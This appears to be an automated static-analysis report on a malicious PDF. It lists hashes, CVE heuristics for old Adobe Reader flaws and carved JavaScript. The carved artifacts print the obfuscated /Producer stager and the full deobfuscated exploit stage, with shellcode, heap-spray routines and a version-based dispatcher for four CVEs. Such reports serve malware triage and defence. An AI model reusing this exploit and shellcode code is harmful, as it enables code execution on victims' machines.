Malicious PDF — malware analysis report

Static analysis result for SHA-256 b1bf04b35b78e3b5…

MALICIOUS

PDF

11.8 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-08
MD5: 4f82f57b5b9c9efdf9b310efefe1a6aa SHA-1: 7b9a90913215947e972808cbdcef37f270359c09 SHA-256: b1bf04b35b78e3b5125aee7438bd7694f3af7d6d7c7aa91e07cfef292b9825b4
388 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • PDF /Producer character-range JavaScript stager high PDF_INFO_PRODUCER_CHAR_RANGE_JS_STAGER
    PDF metadata hides JavaScript in /Producer as character ranges plus a long numeric index table. The document JavaScript rebuilds an alphabet from those ranges, maps the indexes into characters, and evals the recovered exploit stage. The decoder is bounded and only fires when the recovered stage contains exploit-like Acrobat JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C0C 460 bytes
SHA-256: dad6a628990e9a8f559ac9bfa3190eeb8aa9d1775ec22f81f46e4c0b6256a0a1
Preview script
First 1,000 lines of the extracted script
var aefl = this, xvxv=50;
var eicw = new Date(), czf='', pu='Char', pcff = ('e'+eicw.getFullYear()+'l').replace('2010','va');
var ivmg='',tewr=aefl[pcff], bbbl=[], thr='pro'+ivmg+'duc'+ivmg+'er';
tewr('var anw=String.from'+pu+'Code, op=' + aefl[thr].substring(0,xvxv) + ',zuiu=' + aefl[thr].substring(xvxv));
for(gy in op) for(var ed=op[gy][0];ed < op[gy][1];ed++) bbbl.push(anw(ed));
for (var ed = 0; ed < zuiu.length; ed++) czf+=bbbl[zuiu[ed]];
tewr(czf);
javascript_obj0007_001.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C0C 103 bytes
SHA-256: eedf2272ae79420965191fe343efcc8cd5e653959c975af4d1616c262170b937
Preview script
First 1,000 lines of the extracted script
var aefl = this, xvxv=50;
var eicw = new Date(), czf='', pu='Char', pcff = ('e'+eicw.getFullYear()+'l'
producer_char_range_stage_000.js deobfuscated-js PDF /Info Producer char-range indexed JavaScript at offset 0x17B 3608 bytes
SHA-256: 8d45b28e24446bba9da46ce9ff99823df0d1a526ecc16abd3b42dcd860ada4b9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var wxq='%u9090%u9090%u16eb%u38b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u6434%ue2aa%uc3fa%ue5e8%uffff%u8dff%u6568%u6464%ue53a%u3888%u6465%ued64%ue983%u742b%u0be9%u5530%u33bf%u3735%u3737%u3737%u3737%u3731%u0c37%u6560%u6464%u3231%u0c37%u0a0b%u6464%u110c%u0816%u3009%uea0c%u6a2a%u8c88%u642c%u6464%u8c34%u6418%u6464%ub49b%ua0e7%u0c6c%u8b2b%u612b%u8c34%u6408%u6464%ub49b%ua4e1%u7311%u300e%u973d%u0cce%u9a16%u72d7%u798c%u6464%u3464%u358c%u6464%u9b64%u37b4%u9a0e%ued0c%u650b%u8cd9%u646c%u6464%u8c34%u6458%u6464%ub49b%u5504%u00a4%u34ef%uef54%u6836%u36ef%uef70%u4c16%u7cdd%u6464%u5564%u559b%uc8a4%u0558%u6618%u4448%uaba5%u6569%u86a3%ue594%u3f9b%u2ed8%uef0e%u7426%u76ef%ubd11%u20ed%u7840%ua705%uef04%u4008%uef40%u5821%u30ef%u1c61%u8e65%u2eef%uef7c%u443e%u8f65%u5087%uef2d%uef50%u8a65%u9b55%ua455%uc898%ua4e0%u6310%uaba5%u6569%u8fa3%u5f90%u4018%u114c%uef85%u403e%u8f65%uef02%u2f68%u3eef%u6578%uef8f%uef60%u8c65%u20ed%u7840%ua605%u646c%u8b8c%u9b9a%u0c9b%u1010%u5e14%u4b4b%u050a%u0112%u0a16%u0e0d%u114a%u4b17%u4a08%u0c14%u5b14%u5902%u5d55%u0142%u5559%u0064';function oo(mwb,yp){while(mwb.length*2<yp){mwb+=mwb;}
mwb=mwb.substring(0,yp/2);return mwb;}
function jc(){var hdev=new Array();var pu=0x0c0c0c0c;var addr=0x400000;var payload=unescape(wxq);var sc_len=payload.length*2;var yp=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=oo(yarsp,yp);var count2=(pu-0x400000)/addr;for(var count=0;count<count2;count++){hdev[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(wxq);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(wxq);var hWq500CN=payload.length*2;var yp=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=oo(yarsp,yp);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){jc();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(wxq);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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